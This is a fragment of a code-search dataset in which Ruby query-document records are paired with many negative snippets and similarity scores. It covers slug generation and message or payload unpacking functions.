Pensar.new \"2\", \"pensar\"\n\t\tend\n\n\t\t#m = Partida.new Hash[\"1\" => @j1, \"2\" => @j2], @app\n\t\t\n\t\tif @rondas != \"\"\t\t\t\t\t\t\t\n\t\t\trondas(@rondas.to_i)\n\t\telsif @puntos != \"\"\n\t\t\talcanzar(@puntos.to_i)\n\t\tend\n\n\t\t\n\tend",
"def initialize(nombre,apellidos,peso,talla,edad,sexo,cintura,cadera,tricipital,bicipital,subescapular,suprailíaco, factorActividadFisica)\n \tsuper(nombre,apellidos,edad,sexo)\n\n \t@peso = peso\n \t@talla = talla\n \t@cintura = cintura\n \t@cadera = cadera\n \t@tricipital = tricipital\n \t@bicipital = bicipital\n \t@subescapular = subescapular\n \t@suprailíaco = suprailíaco\n\t\t@factorActividadFisica = factorActividadFisica\n \tend",
"def get_valor_energetico\n \n return ((@proteinas + @glucidos) * 4 + @lipidos * 9).round(1)\n \n \n end",
"def get_poli\n @_100=((@poli*100)/@peso)\n @ir_100=(@_100/25)*100\n @porcion=((@poli*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/25)*100\n [ @poli , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end",
"def pico\n big_self * PICO\n end",
"def get_importe_cancelar_hipoteca()\n \n \n cantidad_recibida = (@precio_hipoteca_base*(1+(@num_casas*0.5)+(@num_hoteles*2.5)));\n return cantidad_recibida*@@FACTORINTERESESHIPOTECA;\n \n end",
"def image(p,fp)\n if o.lentille ## Cas des lentilles\n return 10000 if p == -fp\n return p*fp/(p+fp) \n else ## Cas des miroirs\n return 10000 if p == -fp\n return p*(-fp)/(p+fp)\n end\n end",
"def irazucaresp\n vag=(valorazucaresp * 100) / 90\n vag.round(2)\n end",
"def por_lip\n\t\t\t(@lipidos/suma_gramos)*100\n\t\tend"
] | [
"0.74686474",
"0.7428915",
"0.7425615",
"0.6791244",
"0.6728294",
"0.6392658",
"0.638362",
"0.63169855",
"0.6202294",
"0.6167578",
"0.6165069",
"0.6140818",
"0.6138148",
"0.6096314",
"0.6083791",
"0.6076216",
"0.6073842",
"0.6051941",
"0.604908",
"0.6042112",
"0.6040557",
"0.6017671",
"0.59786177",
"0.59653753",
"0.5944737",
"0.59301066",
"0.5918241",
"0.5900448",
"0.5895874",
"0.5892895",
"0.58657014",
"0.5858228",
"0.5854493",
"0.58519447",
"0.5846546",
"0.581818",
"0.5807774",
"0.58025515",
"0.57781076",
"0.5765905",
"0.5765039",
"0.5758323",
"0.5749457",
"0.5748232",
"0.57457244",
"0.57450503",
"0.57443905",
"0.57349426",
"0.57272863",
"0.5725394",
"0.57239485",
"0.5702477",
"0.5698255",
"0.569357",
"0.56918335",
"0.5680304",
"0.56695664",
"0.5669353",
"0.56608033",
"0.56412685",
"0.56226385",
"0.5616577",
"0.5615011",
"0.5613357",
"0.5603645",
"0.5603554",
"0.56010044",
"0.5587941",
"0.55869806",
"0.5585208",
"0.5583838",
"0.557496",
"0.55737495",
"0.5573572",
"0.5570321",
"0.5562306",
"0.55529594",
"0.5548538",
"0.55415857",
"0.55353373",
"0.551656",
"0.55154943",
"0.5514874",
"0.55126697",
"0.551108",
"0.55021983",
"0.5501639",
"0.5499131",
"0.5494762",
"0.5492077",
"0.54890406",
"0.54889494",
"0.5487693",
"0.5483902",
"0.5481904",
"0.54789644",
"0.5477579",
"0.54754794",
"0.5473012",
"0.5461082",
"0.54589903"
] | 0.0 | -1 |
Returns a whitespace free slug for markup or SEO purposes. | def slug
name.split(' ').join('-')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def slugged_name\n name.gsub(' ', '-').delete(\"?/#\")\n end",
"def slug\n self.title.downcase.gsub(\" \", \"-\") unless self.title.nil?\n end",
"def slug\n self.name.downcase.gsub(/[^a-z0-9]/, '-').squeeze('-')\n end",
"def slug\n title.downcase.gsub(\" \", \"_\")\n title.gsub(\".\",\"\")\n end",
"def slug\n name.downcase.gsub(\" \", \"-\")\n end",
"def slug\n name.chomp.downcase.split('').reject{|l| l.match(/[^\\p{L}\\d\\s]/u)}.join.gsub(\" \", \"-\")\n end",
"def slug\n\t\tunless name.nil?\n\t\t\tname.downcase.gsub(\" \", \"-\")\t\t\t\n\t\tend\n\tend",
"def slug\n name.downcase.gsub(\" \",\"-\")\n end",
"def slug\n self.name.downcase.gsub(\" \", \"-\") unless self.name.nil?\n end",
"def slug\n self.name.downcase.gsub(\" \", \"-\") unless self.name.nil?\n end",
"def slug\n name.gsub(\" \", \"-\").downcase\n end",
"def slug\n name.downcase.gsub(' ', '-')\n end",
"def slug\n self.name.downcase.gsub(/[!@%&\"]/,'').tr(\" \", \"-\")\n end",
"def slugify\n self.slug = self.name.downcase.strip.gsub(' ', '-').gsub(/[^\\w-]/, '')\n end",
"def slug\n self.downcase.gsub(\" \", \"-\").gsub(/[^0-9a-z\\-]/, '')\nend",
"def slug\n name.downcase.tr(' ', '-').delete('.')\n end",
"def slug\n name.downcase.tr(' ', '-').delete('.')\n end",
"def slug\n self.name.strip.gsub(\" \", \"-\").downcase\n end",
"def slug\n self.name.strip.gsub(\" \", \"-\").downcase\n end",
"def slug(name)\n name.gsub(/\\s+/, '-')\n end",
"def slug\n #it strips out special characters, and replaces all spaces with -\n name.split.join(\"-\").downcase\n end",
"def generate_slug_from_title\n self.slug = self.title.downcase.gsub(' ','-')\n end",
"def clean_slug!\n blank = \"\"\n separator = \"-\"\n self.slug = slug.downcase\n .gsub(/\\(|\\)|\\[|\\]\\./, blank)\n .gsub(/&/, blank)\n .gsub(/\\W|_|\\s|-+/, separator)\n .gsub(/^-+/, blank)\n .gsub(/-+$/, blank)\n .gsub(/--*/, separator)\n end",
"def slug\n @slug ||= text.match(/([\\w-]*)$/)[0]\n end",
"def slug\n self.name.gsub(\" \", \"-\").downcase\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def slug\n self.name.downcase.gsub(' ', '-')\n end",
"def slug\n self.name.downcase.gsub(' ', '-')\n end",
"def compute_slug\n \"#{normalize_slug_base_string}-#{self.id || sluggify}\"\n end",
"def slug\n self.name.split(/\\W/).map {|word| word.downcase unless word.empty?}.compact.join('-')\n end",
"def make_slug\n self.permalink = (self.permalink.downcase.gsub(/[^a-zA-Z 0-9]/, \"\")).gsub(/\\s/,'-') if self.permalink\n end",
"def slug\n username.downcase.gsub(\" \", \"-\")\n end",
"def safe_slug(spliter = '-')\n @slug = self\n if @slug.blank?\n @slug = Time.now.to_i.to_s\n end\n @slug.gsub(/[^a-zA-Z\\-0-9]/,spliter).downcase \n end",
"def as_slug\n Swift::Transliteration.slugize self\n end",
"def slug_for(title)\n dasherized_title = title.downcase.gsub(/\\s+/, '-')\n characters_to_remove = /(\"|'|!|\\?|:)/\n dasherized_title.gsub(characters_to_remove, '')\nend",
"def sluggify(slug)\n slug.gsub(/[^a-zA-Z0-9-]/, '-').gsub(/-+/, '-').downcase\n end",
"def slug\n username.strip.downcase.gsub(\" \",\"-\")\n end",
"def to_slug(string)\n string.parameterize.truncate(80, omission: '')\n end",
"def slug\n attributes['name'].gsub(/\\s/, '-').gsub(/[^\\w\\-]/, '').downcase\n end",
"def slug; (page.slug rescue ''); end",
"def slug; (page.slug rescue ''); end",
"def slug\n #s = self.name\n #s.downcase.gsub(\" \",\"-\")\n self.name.gsub(\" \", \"-\").downcase\n end",
"def slug\n @attributes[:slug] = @attributes[:name] && PublicEarth::Db::Collection.create_slug(@attributes[:name]) unless @attributes[:slug] \n @attributes[:slug]\n end",
"def to_slug\n #strip the string\n ret = self.strip\n \n #blow away apostrophes\n ret.gsub! /['`]/,\"\"\n \n # Reemplazamos tildes por normales\n ret = ret.html_encode\n ret.downcase!\n ret.gsub! /&/i, '_'\n ret.gsub! /&([a-z])acute;/i, '\\1'\n ret.gsub! /&([a-z])tilde;/i, '\\1'\n ret = ret.html_decode\n\n # @ --> at, and & --> and\n ret.gsub! /\\s*@\\s*/, \"_\"\n ret.gsub! /\\s*&\\s*/, \"_\"\n\n #replace all non alphanumeric, underscore or periods with underscore\n ret.gsub! /\\s*[^A-Za-z0-9\\.\\-]\\s*/, '_' \n \n #convert double underscores to single\n ret.gsub! /_+/,\"_\"\n \n #strip off leading/trailing underscore\n ret.gsub! /\\A[_\\.]+|[_\\.]+\\z/,\"\"\n \n return ret\n end",
"def get_slug_for(title)\n title.downcase.gsub(/[^a-z0-9_\\s-]/, '').gsub(/\\s+/, '-')\n end",
"def slug\n slugAttr = @doc.css('map').attr('slug')\n return slugAttr.nil? ? name.gsub(/[\\s]/, '-').mb_chars.normalize(:c).gsub(/[^\\w-]/n, '').to_s.downcase : slugAttr.value\n end",
"def titleize_slug(slug); end",
"def make_slug(string)\n string.to_s.downcase.gsub(/[^a-z0-9]+/, '-').gsub(/-+$/, '').gsub(/^-+$/, '')\n end",
"def sluggify\n name = self.name.downcase.gsub(/[\\W]/,'-').gsub(/[--]+/,'-').dasherize\n slug = Location.find_all_by_slug(name)\n if slug.size > 1\n return \"#{name}-#{slug.size-1}\"\n else\n return name\n end\n end",
"def generateSlug(text)\n text=text.to_s\n text=text.gsub(\"-\",\" \")\n text=text.split.join(\" \")\n return text.downcase.gsub(\" \", \"-\").to_s\nend",
"def parameterize_slug slug\n slug = slug.parameterize.split('_').join('-')\n return slug\n end",
"def slug\n @slug ||= begin\n raw = self['identifier'].find { |id| id.start_with?('slug:') }\n Spot::Identifier.from_string(raw).value unless raw.nil?\n end\n end",
"def slugify(string)\n string.to_s.strip.gsub(' ', \"_\")\n end",
"def slugando\n\t\tself.slug = summary.parameterize.to_s\n\tend",
"def slug\n urlname.to_s.split('/').last\n end",
"def slugize(text)\n text.downcase.strip.gsub(' ', '-').gsub(/[^\\w-]/, '')\nend",
"def slugify(title)\n title.gsub(' ', '-').downcase\n end",
"def slug\n self.username.downcase.gsub(\" \", \"-\")\n end",
"def generate_slug(title)\n title = clean_title title\n # Strip the string\n ret = title.downcase.strip\n\n # Blow away apostrophes\n ret.gsub! /['`]/,\"\"\n\n # @ --> at, and & --> and\n ret.gsub! /\\s*@\\s*/, \" at \"\n ret.gsub! /\\s*&\\s*/, \" and \"\n\n # Replace all non alphanumeric, underscore or periods with underscore\n ret.gsub! /\\s*[^A-Za-z0-9\\.\\-]\\s*/, '_' \n\n # Convert double underscores to single\n ret.gsub! /_+/,\"_\"\n\n # Strip off leading/trailing underscore\n ret.gsub! /\\A[_\\.]+|[_\\.]+\\z/,\"\"\n\n ret\nend",
"def generate_slug\n self.slug = title.parameterize if title\n end",
"def canonical_slug\n Mobility.with_locale(::Refinery::I18n.current_frontend_locale) { slug }\n end",
"def slug\n Inflector.parameterize(@title, \"_\")\n end",
"def slug\n self.username.gsub(\" \", \"-\").downcase\n end",
"def slug \n sloog = self.username.gsub(\" \", \"-\").downcase\n end",
"def slug; end",
"def slug; end",
"def slug_from_name(name)\n name.gsub(' ', '_').downcase\n end",
"def slug\n urlname.to_s.split(\"/\").last\n end",
"def generate_slug\n self.slug = name.parameterize if name.present?\n end",
"def slug(string, characters = nil)\n unless string\n return ''\n end\n string = string.squish.downcase.strip\n string = I18n.transliterate(string)\n string = string.gsub(/[^\\w-]/, ' ').gsub(/\\s+/, ' ')\n if characters\n string = string[0..characters]\n end\n string\n end",
"def escape_slug(string)\n string.gsub(/[^\\w]/,'_').gsub(/^_+|_+$/,'').downcase\nend",
"def slugify\n self.slug = name.parameterize\n end",
"def slug\n self.username.downcase.gsub(/\\W+/, '-')\n end",
"def generate_slug\n self.slug = self.name.parameterize\n end",
"def to_slug\n self.title.parameterize\n end",
"def slug_name\n\t\t\"#{rand(36**5).to_s(36)}-#{name}\"\n\tend",
"def normalize_slug(str)\n return if str.blank?\n str.gsub!(/[\\p{Pc}\\p{Ps}\\p{Pe}\\p{Pi}\\p{Pf}\\p{Po}]/, '') # Remove punctuation\n str.parameterize\n end",
"def create_slug\n return if self.title.blank?\n tail, int = \"\", 1\n initial = convert_to_slug(self.title)\n while Post.find_by_slug(initial + tail) do \n int += 1\n tail = \"-#{int}\"\n end\n self.slug = initial + tail\n end",
"def slugify\n self.slug = name.parameterize \n end",
"def canonical_slug\n Globalize.with_locale(::Refinery::I18n.default_frontend_locale) { slug }\n end",
"def convert_slug(slug)\n slug.gsub('-', '_')\n end",
"def set_slug\n self.slug = title.downcase.tr(\" \", \"_\") if slug.blank?\n slug\n end",
"def set_slug\n self.slug = title.downcase.gsub(\" \", \"_\") if slug.blank?\n slug\n end",
"def slug_base_string\n self.id || sluggify\n end",
"def slugify\n if !self.slug\n self.update(slug: \"#{self.business_name.gsub(/\\s+/, \"\").downcase}\")\n puts \"Slugified!\"\n end\n end",
"def generate_slug\n \tself.slug = title.parameterize\n end",
"def slugify(string)\n string.downcase.strip.gsub(' ', '-').gsub(/[^\\w-]/, '')\n end",
"def slug\n @input = self.username.gsub(/\\s|\\W/,'-').downcase\n end",
"def slugify string\n strip_tags(string).downcase.gsub(' ', '-')\nend",
"def slugfy\n# self.slug = title.gsub(/\\W/, '-').downcase\n self.slug = title.parameterize.to_s\n end",
"def slug_text\n base = send friendly_id_options[:column]\n if self.friendly_id_options[:strip_diacritics]\n base = Slug::strip_diacritics(base)\n end\n if self.friendly_id_options[:strip_non_ascii]\n base = Slug::strip_non_ascii(base)\n end\n base = Slug::normalize(base)\n \n if base.length > friendly_id_options[:max_length]\n base = base[0...friendly_id_options[:max_length]]\n end\n if friendly_id_options[:reserved].include?(base)\n raise FriendlyId::SlugGenerationError.new(\"The slug text is a reserved value\")\n end\n return base\n end",
"def slug\n sanitized_uri = uri.gsub(/[^\\w]/, '_').gsub('__', '_')\n \"#{sanitized_uri}_#{action.downcase}_#{self.object_id}\"\n end",
"def slug_string\n self.name\n end",
"def generate_slug\n if self.slug.blank? || self.slug.nil?\n unless self.name.blank?\n if Department.in_clinic(self).where(slug: name.parameterize).count != 0\n n = 1\n while Department.where(slug: \"#{name.parameterize}-#{n}\").count != 0\n n+= 1\n end\n self.slug = \"#{name.parameterize}-#{n}\"\n else\n self.slug = name.parameterize\n end\n else\n self.slug = 'no-name-entered'.parameterize\n end\n end\n end",
"def slug\n (self[:headline] || '').parameterize\n end",
"def slug\n self.username.split(\" \").join(\"-\").downcase\n end",
"def slug\n self.username.split(\" \").join(\"-\").downcase\n end"
] | [
"0.8069976",
"0.8069976",
"0.8010032",
"0.7938606",
"0.7931759",
"0.791703",
"0.7889389",
"0.78807265",
"0.7848801",
"0.7834407",
"0.7831333",
"0.7831333",
"0.7812329",
"0.7758183",
"0.7753267",
"0.7747148",
"0.77194434",
"0.771537",
"0.771537",
"0.76850384",
"0.76850384",
"0.76296425",
"0.7628823",
"0.7599441",
"0.7592818",
"0.7589409",
"0.7559333",
"0.75229675",
"0.75229675",
"0.7522438",
"0.7522438",
"0.7494041",
"0.74882114",
"0.74781454",
"0.74715734",
"0.74657166",
"0.74463725",
"0.7425297",
"0.74177283",
"0.74102443",
"0.7409412",
"0.7360691",
"0.735906",
"0.735906",
"0.73584336",
"0.7338429",
"0.73268723",
"0.7312302",
"0.7302966",
"0.73019737",
"0.72889096",
"0.7273012",
"0.7268344",
"0.7230403",
"0.7221149",
"0.7213827",
"0.720777",
"0.72009736",
"0.71975476",
"0.7174928",
"0.7171727",
"0.71578425",
"0.71338093",
"0.71250206",
"0.7109331",
"0.71052927",
"0.71038663",
"0.7099639",
"0.7099639",
"0.70995384",
"0.7097597",
"0.7082714",
"0.70560366",
"0.7036391",
"0.7019328",
"0.7012563",
"0.70081276",
"0.6985132",
"0.6976576",
"0.69736594",
"0.6966922",
"0.69653654",
"0.6964193",
"0.6961506",
"0.6961383",
"0.69559306",
"0.69528466",
"0.6944622",
"0.6941283",
"0.69182324",
"0.69158626",
"0.6908177",
"0.68867767",
"0.68840444",
"0.68671143",
"0.6854079",
"0.6851546",
"0.6847198",
"0.6846266",
"0.6846266"
] | 0.7758961 | 13 |
Unpack message and create payload | def unpack(message)
payload = super
if(self.class == Jackal::Cfn::Event)
begin
unless(payload.get(:data, :cfn_event))
payload = format_event(payload.fetch('Body', 'Message', payload))
payload[:origin_type] = message[:message].get('Body', 'Type')
payload[:origin_subject] = message[:message].get('Body', 'Subject')
end
payload
rescue
Smash.new
end
else
payload.to_smash.fetch('Body', payload.to_smash)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unpack(message)\n payload = super\n if(self.is_a?(Jackal::Cfn::Resource))\n begin\n if(payload['Message'])\n payload = MultiJson.load(payload['Message']).to_smash\n payload = transform_parameters(payload)\n payload[:origin_type] = message[:message].get('Body', 'Type')\n payload[:origin_subject] = message[:message].get('Body', 'Subject')\n payload[:request_type] = snakecase(payload[:request_type])\n payload\n else\n payload.to_smash.fetch('Attributes', 'Body', payload.to_smash.fetch('Body', payload.to_smash))\n end\n rescue MultiJson::ParseError\n # Not our expected format so return empty payload\n Smash.new\n end\n else\n payload.to_smash.fetch('Attributes', 'Body', payload.to_smash.fetch('Body', payload.to_smash))\n end\n end",
"def payload; message[:payload]; end",
"def unpack(message)\n if(message[:content])\n result = message[:content].to_smash\n else\n msg = message[:message].to_smash\n result = msg.fetch(:payload, msg)\n end\n if(respond_to?(:pre_formatters) && (pre_formatters && !pre_formatters.empty?))\n pre_formatters.each do |formatter|\n begin\n formatter.format(result)\n rescue => e\n error \"Formatter error encountered (<#{formatter}>): #{e.class} - #{e}\"\n end\n end\n end\n result\n end",
"def unpack(data); end",
"def unpack(message)\n result = if(message[:content])\n message[:content]\n else\n if(message[:message])\n case determine_style(message)\n when :sqs\n if(message[:message]['Body'])\n message[:message]['Body'].to_smash\n else\n message[:message].to_smash\n end\n when :http\n begin\n MultiJson.load(message[:message][:body]).to_smash\n rescue MultiJson::DecodeError\n message[:message][:body].to_smash\n end\n when :nsq\n begin\n MultiJson.load(message[:message].message).to_smash\n rescue MultiJson::DecodeError\n message[:message].message.to_smash\n end\n else\n message[:message].to_smash\n end\n else\n message.to_smash\n end\n end\n if(respond_to?(:formatters) && respond_to?(:service_name))\n formatters.each do |formatter|\n next if result.fetch(:formatters, []).include?(formatter.class.name)\n begin\n if(service_name.to_sym == formatter.destination)\n debug \"Service matched formatter for pre-format! (<#{formatter.class}> - #{message})\"\n s_checksum = result.checksum\n formatter.format(result)\n unless(s_checksum == result.checksum)\n info \"Pre-formatter modified payload and will not be applied again after callback completion (<#{formatter.class}> - #{message})\"\n result[:formatters].push(formatter.class.name)\n end\n end\n rescue => e\n error \"Formatter failed <#{formatter.source}:#{formatter.destination}> #{e.class}: #{e}\"\n end\n end\n end\n result\n end",
"def payload\n @payload ||= JSON.parse(@message.value)\n end",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def hash_to_message(data)\n klass = Hastur::Message.symbol_to_class(data[:type])\n\n # if no UUID is provided, set one in the message payload\n data[:uuid] ||= @uuid\n\n payload = MultiJson.dump(data)\n klass.new :from => @uuid, :payload => payload\n end",
"def prepare_payload(pld)\n pld\n end",
"def parse_message(payload)\n @parsers.inject(payload) do |memo, parser|\n parser.call(memo)\n end\n end",
"def unpack_body(body)\n # fixed-length fields\n self.user_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1)\n self.flags = body.slice!(0)\n \n # variable-length fields\n @user_msg = body.slice!(0..(@user_msg_len - 1)) if (@user_msg_len != 0)\n @data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n\n return(nil)\n end",
"def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end",
"def unpack(binary)\n end",
"def parse_body(buffer)\n super(buffer)\n @topic = shift_string(buffer)\n @id = shift_short(buffer) unless qos.zero?\n @payload = buffer\n end",
"def decodemsg(msg)\n YAML.load(msg.payload)\n end",
"def unpack_body(body)\n # fixed fields\n self.status = body.slice!(0)\n self.flags = body.slice!(0)\n self.server_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1) \n \n # variable-length fields\n self.server_msg = body.slice!(0..(@server_msg_len - 1)) if (@server_msg_len != 0)\n self.data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n return(nil)\n end",
"def payload\n @payload ||= JSON.parse(fields[\"payload\"])\n end",
"def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend",
"def new_payload(parsed_params, identifier)\n Payload.new(\n source_id: Source.find_by(identifier: @identifier).id,\n url_id: Url.find_or_create_by(url: parsed_params[:url], relative_path: URI(parsed_params[:url]).path).id,\n requested_at: parsed_params[:requested_at],\n responded_in: parsed_params[:responded_in],\n referred_by_id: Referrer.find_or_create_by(referred_by_url: parsed_params[:referred_by]).id,\n request_type_id: RequestType.find_or_create_by(request_type: parsed_params[:request_type]).id,\n parameters: parsed_params[:parameters],\n event_name_id: EventName.find_or_create_by(event_name: parsed_params[:event_name]).id,\n user_agent_id: TrafficSpy::UserAgent.find_or_create_by(web_browser: parsed_params[:user_agent]).id,\n screen_resolution_id: ScreenResolution.find_or_create_by(resolution_width: parsed_params[:resolution_width], resolution_height: parsed_params[:resolution_height]).id,\n ip: parsed_params[:ip]\n )\n end",
"def unpack_body(body)\n # fixed-length fields\n self.server_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1)\n self.status = body.slice!(0)\n \n # variable-length fields\n @server_msg = body.slice!(0..(@server_msg_len - 1)) if (@server_msg_len != 0)\n @data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n\n return(nil)\n end",
"def get_message_payload(options = {})\n message = get_message(options)\n message.payload\n end",
"def decode_message(message)\n # minimum size is header (4) + type (1)\n return if message.length < 5\n header, type = message.unpack('NC')\n # TODO: handle fragmented responses\n return if header != UNFRAGMENTED_HEADER\n [type, message[5, message.length]]\n end",
"def serialize(message)\n message.to_msgpack\n end",
"def read_payload\n ascii_str = File.read(\"/dev/urandom\", @bytes_to_read)\n utf8_str = ascii_to_utf8(ascii_str)\n formatted_str = format_string(utf8_str)\n @payload = formatted_str\n end",
"def unpack msg\n msg.unpack \"aa#{TAG_LENGTH}a#{@cipher.iv_len}a*\"\n end",
"def unpack_body(body)\n # fixed fields\n self.action = body.slice!(0)\n self.priv_lvl = body.slice!(0)\n self.authen_type = body.slice!(0)\n self.service = body.slice!(0)\n self.user_len = body.slice!(0)\n self.port_len = body.slice!(0)\n self.rem_addr_len = body.slice!(0)\n self.data_len = body.slice!(0)\n \n # variable fields\n self.user = body.slice!(0..(@user_len - 1)) if (@user_len != 0)\n self.port = body.slice!(0..(@port_len - 1)) if (@port_len != 0)\n self.rem_addr = body.slice!(0..(@rem_addr_len - 1)) if (@rem_addr_len != 0)\n self.data = body.slice!(0..(@data_len - 1)) if (@data_len != 0) \n return(nil)\n end",
"def _receive_message state\n state.message_payload = _read(state.in_stream, state)\n end",
"def generate_payload(pinst = nil)\n # Set the encoded payload to the result of the encoding process\n self.payload = generate_single_payload(pinst)\n\n # Save the payload instance\n self.payload_instance = (pinst) ? pinst : self.payload_instance\n\n return self.payload\n end",
"def payload\n {:id => id, :body => body, :origin => origin, :original_id => original_id}\n end",
"def load(data)\n code, hash = MessagePack.unpack(data)\n CODE_TO_CLASS[code].new(decode_hash(hash).symbolize_keys)\n rescue MessagePack::UnpackError => e\n _log.warn { \"Failed to decode message\" }\n _log_exception(e)\n Models::Message::Garbled.new\n end",
"def decode(payload)\n Oj.load payload\n end",
"def crypt_keeper_payload_parse(payload)\n payload.encode('UTF-8', 'binary',\n invalid: :replace, undef: :replace, replace: '')\n end",
"def parse_payload!(user_data)\n outbound_payload = {}\n user_data.each { |key, val| outbound_payload[key] = parse_value(val) }\n\n outbound_payload\n end",
"def payload=(_arg0); end",
"def decode_launchitem( msg )\r\n hash = Rufus::Json.decode( msg )\r\n opts = {}\r\n definition = hash.delete('definition')\r\n fields = hash.delete('fields') || {}\r\n variables = hash.delete('variables') || {}\r\n\r\n [ definition, fields, variables ]\r\n end",
"def decode(message)\n start_time= Time.now\n @message = message\n qio = QIO.new(@message)\n begin\n @length, @message_type = qio.message_header()\n @value = qio.read_item()\n rescue QException => qe\n @exception = qe\n end\n end",
"def flat_payload\n self.payload.to_a.flatten\n end",
"def unpack(p0) end",
"def inbound_payload\n JSON.parse(data)['inbound']['payload']\n end",
"def payload\n return @payload if @payload\n \n payload_class = if (@flags & 0x40) == 0x40\n Dot11WEP\n elsif @type == 0\n [ Dot11AssoReq, Dot11AssoResp, Dot11ReassoReq, Dot11ReassoResp, Dot11ProbeReq, Dot11ProbeResp, nil, nil,\n Dot11Beacon, Dot11ATIM, Dot11Disas, Dot11Auth, Dot11Deauth, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil ][@subtype]\n elsif @type == 2\n if @subtype == 0\n Dot11Data\n elsif @subtype == 4\n Dot11NullData\n end \n end\n \n return nil if payload_class.nil?\n \n @payload = payload_class.new(@rest) unless (payload_class == Dot11NullData || @rest.nil? || @rest.empty?)\n end",
"def unpack format\n @b.unpack format\n end",
"def payload_data\n case @config.format\n when :json\n @payload.to_json\n when :yaml\n @payload.to_yaml\n else\n @payload.to_hash\n end\n end",
"def unpack_body(body)\n # fixed fields\n self.flags = body.slice!(0)\n self.authen_method = body.slice!(0)\n self.priv_lvl = body.slice!(0)\n self.authen_type = body.slice!(0)\n self.authen_service = body.slice!(0)\n self.user_len = body.slice!(0)\n self.port_len = body.slice!(0)\n self.rem_addr_len = body.slice!(0)\n self.arg_cnt = body.slice!(0)\n \n # variable fields\n @arg_lens = (body.slice!(0..(@arg_cnt - 1))).unpack('C*') if (@arg_cnt != 0)\n @user = body.slice!(0..(@user_len - 1)) if (@user_len != 0)\n @port = body.slice!(0..(@port_len - 1)) if (@port_len != 0)\n @rem_addr = body.slice!(0..(@rem_addr_len - 1)) if (@rem_addr_len != 0)\n \n if (self.arg_cnt != 0)\n @args = []\n @arg_lens.each {|x| @args.push( body.slice!( 0..(x - 1) ) )}\n end\n \n return(nil)\n end",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def payload\n @payload.fetch('payload')\n end",
"def build_typed_message(message_class, bytes)\n bytes = bytes.dup\n fixed_length_message_part = bytes.slice!(0,7)\n\n manufacturer_id = fixed_length_message_part[0]\n device_id = fixed_length_message_part[1]\n model_id = fixed_length_message_part[2]\n\n address = fixed_length_message_part.slice(4,3)\n checksum = bytes.slice!((bytes.length - 1), 1)\n value = bytes\n\n node = Node.new(manufacturer_id, :model_id => model_id, :device_id => device_id)\n message_class.new(address, value, :checksum => checksum, :node => node)\n end",
"def payload; end",
"def payload; end",
"def payload=(payload)\n @message[:payload] = payload\n end",
"def payload\n @payload[0] if @payload\n end",
"def raw_to_hastur_message(data)\n if jmsg = Hastur::Input::JSON.decode(data)\n _send hash_to_message(jmsg)\n elsif smsg = Hastur::Input::Statsd.decode(data)\n _send hash_to_message(smsg)\n elsif cmsg = Hastur::Input::Collectd.decode(data)\n # collectd packets usually contain multiple values, break them up\n cmsg.each do |msg|\n _send hash_to_message(msg)\n end\n else\n raise Hastur::UnsupportedError.new \"Cannot determine type of raw message: '#{data}'\"\n end\n end",
"def to_msgpack\n obj = {\n :objectId => object_id.to_msgpack,\n :timestamp => SkyDB::Timestamp.to_timestamp(timestamp)\n }\n obj[:action] = action unless action.nil? || action.empty?\n obj[:data] = data unless data.nil? || data.empty?\n return obj.to_msgpack\n end",
"def to_payload\n payload = \"\"\n tx_in_wit.each{|w|payload << w.to_payload}\n payload\n end",
